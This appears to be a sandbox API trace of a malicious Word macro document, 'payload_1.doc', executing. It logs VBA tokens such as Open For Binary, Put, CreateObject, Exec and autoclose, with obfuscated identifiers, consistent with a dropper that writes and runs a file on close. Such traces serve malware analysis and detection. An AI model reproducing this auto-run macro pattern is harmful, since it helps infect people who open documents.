[0094.260] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.260] atoi (_Str="1") returned 1 [0094.261] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa3390, cb=0x100) returned 0x2764b423f70 [0094.261] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.261] atoi (_Str="1") returned 1 [0094.261] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b423f70, cb=0x200) returned 0x2764b7039b0 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.262] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7039b0, cb=0x400) returned 0x2764add2070 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.262] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.262] atoi (_Str="1") returned 1 [0094.263] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764add2070, cb=0x800) returned 0x2764547af80 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.263] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.263] atoi (_Str="1") returned 1 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.264] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764547af80, cb=0x1000) returned 0x2764559f760 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.264] atoi (_Str="1") returned 1 [0094.265] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.265] atoi (_Str="1") returned 1 [0094.265] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.265] atoi (_Str="1") returned 1 [0094.265] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Close") returned 0x4005ab [0094.265] atoi (_Str="1") returned 1 [0094.265] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Application") returned 0x402aa5 [0094.265] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Quit") returned 0x40ae39 [0094.265] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="SaveChanges") returned 0x4074ad [0094.268] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.268] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="End") returned 0x4089cd [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="autoclose") returned 0x40d6a4 [0094.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa2a90, cb=0x100) returned 0x2764b423b30 [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Open") returned 0x400767 [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Tag") returned 0x40d826 [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="For") returned 0x408f59 [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Binary") returned 0x4008a0 [0094.269] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="As") returned 0x405c8d [0094.269] atoi (_Str="1") returned 1 [0094.270] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.270] atoi (_Str="1") returned 1 [0094.270] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.270] atoi (_Str="1") returned 1 [0094.270] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.270] atoi (_Str="1") returned 1 [0094.270] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.270] atoi (_Str="1") returned 1 [0094.270] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.270] atoi (_Str="1") returned 1 [0094.271] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.271] atoi (_Str="1") returned 1 [0094.271] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.271] atoi (_Str="1") returned 1 [0094.271] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764559f760, cb=0x2000) returned 0x2763c05b430 [0094.271] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.271] atoi (_Str="1") returned 1 [0094.271] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.271] atoi (_Str="1") returned 1 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.272] atoi (_Str="1") returned 1 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY") returned 0x40d07d [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Caption") returned 0x407810 [0094.272] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Function", cchCount1=-1, lpString2="Caption", cchCount2=-1) returned 3 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Close") returned 0x4005ab [0094.272] atoi (_Str="1") returned 1 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Set") returned 0x40d36e [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="HYyetwertuFGHFTrt5ertRFGXFD") returned 0x405072 [0094.272] strcpy_s (in: _Dst=0x7ff9be205050, _DstSize=0x100, _Src="HYyetwertuFGHFTrt5ertRFGXFD" | out: _Dst="HYyetwertuFGHFTrt5ertRFGXFD") returned 0x0 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CreateObject") returned 0x408af8 [0094.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Caption") returned 0x407810 [0094.273] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Function", cchCount1=-1, lpString2="Caption", cchCount2=-1) returned 3 [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="HYyetwertuFGHFTrt5ertRFGXFD") returned 0x405072 [0094.273] strcpy_s (in: _Dst=0x7ff9be2055b0, _DstSize=0x100, _Src="HYyetwertuFGHFTrt5ertRFGXFD" | out: _Dst="HYyetwertuFGHFTrt5ertRFGXFD") returned 0x0 [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Exec") returned 0x40797a [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefaultTargetFrame") returned 0x40a69c [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="End") returned 0x4089cd [0094.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0094.273] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b545970, cb=0x57c) returned 0x2764b545970 [0094.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f4000, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0094.274] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f4140, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0094.275] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.275] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b178490, cb=0x18) returned 0x2764b177e70 [0094.275] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3150 [0094.275] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa3150) returned 0x80 [0094.275] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b243780 [0094.275] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b245700 [0094.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f4000, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0094.275] CoCreateGuid (in: pguid=0xb5690f3d30 | out: pguid=0xb5690f3d30*(Data1=0x9306f677, Data2=0x93e8, Data3=0x4156, Data4=([0]=0x90, [1]=0x1, [2]=0xdf, [3]=0xab, [4]=0x14, [5]=0xdb, [6]=0xaf, [7]=0x48))) returned 0x0 [0094.275] CoCreateGuid (in: pguid=0xb5690f3d40 | out: pguid=0xb5690f3d40*(Data1=0x1a315432, Data2=0xd30f, Data3=0x4d4c, Data4=([0]=0x93, [1]=0x5a, [2]=0xf3, [3]=0x56, [4]=0xf4, [5]=0x5c, [6]=0xc0, [7]=0xad))) returned 0x0 [0094.307] WideCharToMultiByte (in: CodePage=0x3a4, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f3d50, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0094.307] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.307] GetLocalTime (in: lpSystemTime=0xb5690f3c28 | out: lpSystemTime=0xb5690f3c28*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x30, wMilliseconds=0x3b4)) [0094.307] _ultow_s (in: _Value=0x612782e8, _Buffer=0x2764b24a294, _BufferCount=0x9, _Radix=16 | out: _Buffer="612782e8") returned 0x0 [0094.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="03612782e8", cchWideChar=11, lpMultiByteStr=0xb5690f3bc0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03612782e8", lpUsedDefaultChar=0x0) returned 11 [0094.307] strcpy_s (in: _Dst=0x2764b1637e8, _DstSize=0xf, _Src="JDSUAGDFYYUGED" | out: _Dst="JDSUAGDFYYUGED") returned 0x0 [0094.307] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b607090, cb=0x138) returned 0x2764b683ca0 [0094.307] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.308] wcscpy_s (in: _Destination=0x2764b24a2a8, _SizeInWords=0xf, _Source="JDSUAGDFYYUGED" | out: _Destination="JDSUAGDFYYUGED") returned 0x0 [0094.308] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.308] wcscpy_s (in: _Destination=0x2764b24a2c8, _SizeInWords=0xf, _Source="JDSUAGDFYYUGED" | out: _Destination="JDSUAGDFYYUGED") returned 0x0 [0094.308] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad49f00, cb=0x36) returned 0x276455f80c0 [0094.308] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b177e10, cb=0x12) returned 0x2764b178190 [0094.308] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2764afa3c00 [0094.308] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b64d360) [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a260 [0094.308] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad4a260, cb=0xb0) returned 0x2764b245dc0 [0094.308] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3c00) [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2764b6fe0d0 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a110 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b178230 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3660 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763c24dde0 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763c24df60 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x27644ee2630 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa41a0 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2764b40f6d0 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad4a710 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763a17cbc0 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763a17cdd0 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49f00 [0094.308] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa4500 [0094.308] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_Evaluate") returned 0x40d918 [0094.309] wcsncpy_s (in: _Destination=0xb5690f3da0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0094.309] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0094.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3cd0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0094.309] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0094.309] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0094.309] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2ee0) returned 0x2764b545f00 [0094.309] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.309] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Name") returned 0x40e2ff [0094.309] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xf) returned 0x2764b178330 [0094.309] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764ad4a5f0 [0094.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b178330, cbMultiByte=15, lpWideCharStr=0x2764ad4a5f0, cchWideChar=15 | out: lpWideCharStr="JDSUAGDFYYUGED") returned 15 [0094.309] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178330) [0094.309] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a5f0) [0094.310] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.310] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Base") returned 0x409fb8 [0094.310] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x4e) returned 0x2764b1546b0 [0094.310] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x9c) returned 0x2764b64d200 [0094.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b1546b0, cbMultiByte=78, lpWideCharStr=0x2764b64d200, cchWideChar=78 | out: lpWideCharStr="0{60F24CAB-9E62-449A-AE7B-E2CB2ED1EA32}{07AB9651-2CE8-4D47-BF10-6ABB737ED0A2}") returned 78 [0094.310] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x9c) returned 0x2764b64eac0 [0094.310] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c24dde0, cb=0x20) returned 0x2764ad4a1a0 [0094.310] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763a17cbc0, cb=0x28) returned 0x2764ad4a260 [0094.320] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1546b0) [0094.320] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b64d200) [0094.320] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.320] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_GlobalNameSpace") returned 0x40ce77 [0094.320] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Creatable") returned 0x401d92 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_PredeclaredId") returned 0x405fc7 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Exposed") returned 0x4030b3 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.321] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_TemplateDerived") returned 0x409f1e [0094.322] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.322] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.322] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Customizable") returned 0x40c26d [0094.322] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.322] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b545f00, cb=0x258) returned 0x2764b545f00 [0094.323] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b613740) [0094.323] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b611710) [0094.323] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b711a30) [0094.323] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ce40) [0094.323] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b3cb390) [0094.323] malloc (_Size=0x168) returned 0x27649978ab0 [0094.323] malloc (_Size=0x20) returned 0x276499788d0 [0094.324] lstrcpyA (in: lpString1=0x27649978afc, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0094.324] malloc (_Size=0x138) returned 0x27649978c20 [0094.324] malloc (_Size=0x277) returned 0x27649978d60 [0094.325] malloc (_Size=0x28) returned 0x27649978630 [0094.325] malloc (_Size=0x20) returned 0x27649978870 [0094.325] lstrlenA (lpString="") returned 0 [0094.325] malloc (_Size=0x1) returned 0x27649978fe0 [0094.325] malloc (_Size=0x1) returned 0x27649979000 [0094.325] lstrcpyA (in: lpString1=0x27649978fe0, lpString2="" | out: lpString1="") returned="" [0094.325] malloc (_Size=0x28) returned 0x27649978690 [0094.325] malloc (_Size=0x20) returned 0x276499787b0 [0094.325] lstrlenA (lpString="") returned 0 [0094.325] malloc (_Size=0x1) returned 0x27649979020 [0094.325] malloc (_Size=0x1) returned 0x27649979040 [0094.325] lstrcpyA (in: lpString1=0x27649979020, lpString2="" | out: lpString1="") returned="" [0094.325] malloc (_Size=0x28) returned 0x27649978840 [0094.325] malloc (_Size=0x20) returned 0x276499787e0 [0094.325] lstrlenA (lpString="") returned 0 [0094.325] malloc (_Size=0x1) returned 0x27649979060 [0094.325] malloc (_Size=0x1) returned 0x27649979080 [0094.325] lstrcpyA (in: lpString1=0x27649979060, lpString2="" | out: lpString1="") returned="" [0094.325] malloc (_Size=0x28) returned 0x27649978810 [0094.326] malloc (_Size=0x20) returned 0x276499788a0 [0094.326] lstrlenA (lpString="") returned 0 [0094.326] malloc (_Size=0x1) returned 0x276499790a0 [0094.326] malloc (_Size=0x1) returned 0x276499790c0 [0094.326] lstrcpyA (in: lpString1=0x276499790a0, lpString2="" | out: lpString1="") returned="" [0094.328] malloc (_Size=0x68) returned 0x27649979a00 [0094.328] lstrcpyA (in: lpString1=0x27649979000, lpString2="" | out: lpString1="") returned="" [0094.329] lstrcmpiA (lpString1="Hopertiol", lpString2="Hopertiol") returned 0 [0094.329] lstrlenA (lpString="Hopertiol") returned 9 [0094.329] lstrcpyA (in: lpString1=0x27649979040, lpString2="" | out: lpString1="") returned="" [0094.329] lstrcmpiA (lpString1="Brofaset", lpString2="Brofaset") returned 0 [0094.329] lstrlenA (lpString="Brofaset") returned 8 [0094.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f4290, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.329] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f4280, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.329] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.329] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b177fb0 [0094.329] qsort (in: _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58 | out: _Base=0x2764b177fb0) [0094.329] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0094.330] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 3 [0094.330] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0094.330] bsearch (_Key=0xb5690f31b8, _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x2764b177fb0 [0094.330] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0094.330] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Brofaset", cchCount2=-1) returned 2 [0094.330] lstrcpyA (in: lpString1=0x27649979080, lpString2="" | out: lpString1="") returned="" [0094.333] malloc (_Size=0x1a8) returned 0x27649979ef0 [0094.334] CLSIDFromString (in: lpsz="{AC9F2F90-E877-11CE-9F68-00AA00574A4F}", pclsid=0xb5690f5410 | out: pclsid=0xb5690f5410*(Data1=0xac9f2f90, Data2=0xe877, Data3=0x11ce, Data4=([0]=0x9f, [1]=0x68, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0094.440] lstrcpyA (in: lpString1=0x276499790c0, lpString2="" | out: lpString1="") returned="" [0094.442] malloc (_Size=0x168) returned 0x2764997a470 [0094.442] malloc (_Size=0x20) returned 0x276499786f0 [0094.442] lstrcpyA (in: lpString1=0x2764997a4bc, lpString2="\x03VBFrame" | out: lpString1="\x03VBFrame") returned="\x03VBFrame" [0094.444] malloc (_Size=0x168) returned 0x2764997a720 [0094.444] malloc (_Size=0x20) returned 0x27649978720 [0094.444] GlobalLock (hMem=0x27644530158) returned 0x2764512c030 [0094.444] GlobalSize (hMem=0x27644530158) returned 0x200 [0094.444] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0094.444] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0094.444] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f38e8 | out: pclsid=0xb5690f38e8*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0094.444] malloc (_Size=0xfa0) returned 0x2764997b0b0 [0094.445] lstrcpynA (in: lpString1=0xb5690f4290, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=2044 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0094.445] lstrcpynA 